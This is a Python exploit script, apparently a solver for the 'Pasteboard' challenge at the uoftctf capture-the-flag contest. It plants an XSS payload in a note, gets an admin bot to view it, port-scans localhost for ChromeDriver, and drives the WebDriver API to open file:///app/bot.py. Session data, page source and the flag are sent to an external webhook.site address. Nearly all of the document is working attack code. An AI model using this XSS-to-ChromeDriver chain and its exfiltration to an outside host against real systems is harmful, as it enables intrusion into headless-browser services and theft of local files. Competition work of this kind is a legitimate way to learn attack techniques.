#!/usr/bin/env python3
"""
Pasteboard XSS Challenge Solver - ChromeDriver Port Exploitation
Based on: https://book.jorianwoltjer.com/web/client-side/headless-browsers
"""
import requests
import time
import urllib.parse
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"

print("="*80)
print("🎯 PASTEBOARD XSS SOLVER - ChromeDriver Port Exploitation")
print("="*80)
print()
print("Strategy:")
print("1. ChromeDriver runs on localhost:9515 by default")
print("2. Expose REST API for WebDriver protocol")
print("3. Use XSS to access ChromeDriver API from localhost")
print("4. Execute commands to read /app/bot.py")
print("="*80)

# PAYLOAD 1: Scan for ChromeDriver port
print("\n[*] Step 1: Scanning for ChromeDriver port...")

code_scan = f"""
(async()=>{{
let ports=[9515,9516,9517,9518,4444,4445];
let found=[];

for(let port of ports){{
try{{
let resp=await fetch('http://localhost:'+port+'/status',{{
method:'GET'
}});
if(resp.ok){{
let data=await resp.json();
found.push({{port:port,status:data}});
}}
}}catch(e){{
// Port not accessible
}}
}}

await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'chromedriver_scan',
found:found.length,
ports:found
}},null,2)
}});
}})();
"""

encoded_scan = urllib.parse.quote(code_scan.replace('\n', ' ').strip())
payload_scan = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded_scan}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "ChromeDriver Scan", "body": payload_scan},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Scan payload created: {urljoin(CHALLENGE_URL, note_path)}")

    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Bot queued! Waiting for port scan results...")
        time.sleep(10)
        print(f"[*] Check webhook: {WEBHOOK}")
        print(f"[*] Look for 'chromedriver_scan' method")
    else:
        print(f"[-] Failed to queue bot: {report_response.status_code}")
        exit(1)
else:
    print(f"[-] Failed to create paste: {response.status_code}")
    exit(1)

# PAYLOAD 2: Exploit ChromeDriver to read file
print("\n[*] Step 2: Exploiting ChromeDriver to read /app/bot.py...")

code_exploit = f"""
(async()=>{{
try{{
// Step 1: Get sessions
let sessionsResp=await fetch('http://localhost:9515/sessions');
let sessionsData=await sessionsResp.json();

await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'sessions_check',
sessions:sessionsData
}})
}});

// Step 2: Try to execute script in current session
// ChromeDriver allows executing arbitrary JavaScript
let sessionId=sessionsData.value?.[0]?.id;

if(sessionId){{
// Execute script to read file via synchronous XHR in the driver context
let execResp=await fetch('http://localhost:9515/session/'+sessionId+'/execute/sync',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{
script:'return document.documentElement.outerHTML;',
args:[]
}})
}});
let execData=await execResp.json();

await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'chromedriver_execute',
result:execData
}})
}});
}}

// Step 3: Try direct file read via file:// navigation
let navigateResp=await fetch('http://localhost:9515/session/'+sessionId+'/url',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{
url:'file:///app/bot.py'
}})
}});

// Wait a bit for navigation
await new Promise(r=>setTimeout(r,2000));

// Get page source after navigation
let sourceResp=await fetch('http://localhost:9515/session/'+sessionId+'/source');
let sourceData=await sourceResp.json();

await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'file_read_success',
source:sourceData.value,
flag:sourceData.value?.match(/uoftctf\{{[^}}]+\}}/)?.[0]
}},null,2)
}});

}}catch(e){{
await fetch('{WEBHOOK}?method=chromedriver_exploit&error='+encodeURIComponent(e.toString()));
}}
}})();
"""

encoded_exploit = urllib.parse.quote(code_exploit.replace('\n', ' ').strip())
payload_exploit = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded_exploit}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

response2 = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "ChromeDriver Exploit", "body": payload_exploit},
    allow_redirects=False
)

if response2.status_code == 302:
    note_path2 = response2.headers.get('Location')
    print(f"[+] Exploit payload created: {urljoin(CHALLENGE_URL, note_path2)}")

    time.sleep(1)

    report_response2 = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path2}
    )

    if report_response2.status_code == 202:
        print(f"[+] Bot queued! Waiting for exploit results...")
        time.sleep(15)
        print()
        print("="*80)
        print("✅ EXPLOITATION COMPLETE")
        print("="*80)
        print(f"📊 Check webhook: {WEBHOOK}")
        print()
        print("Look for these methods:")
        print("  - chromedriver_scan: Port scan results")
        print("  - sessions_check: Active ChromeDriver sessions")
        print("  - chromedriver_execute: Script execution result")
        print("  - file_read_success: The flag from /app/bot.py!")
        print("="*80)
    else:
        print(f"[-] Failed to queue bot: {report_response2.status_code}")
else:
    print(f"[-] Failed to create paste: {response2.status_code}")

print("\n[*] If ChromeDriver port is accessible, you should see the flag!")
print("[*] The flag will be in the 'file_read_success' or 'source' field")
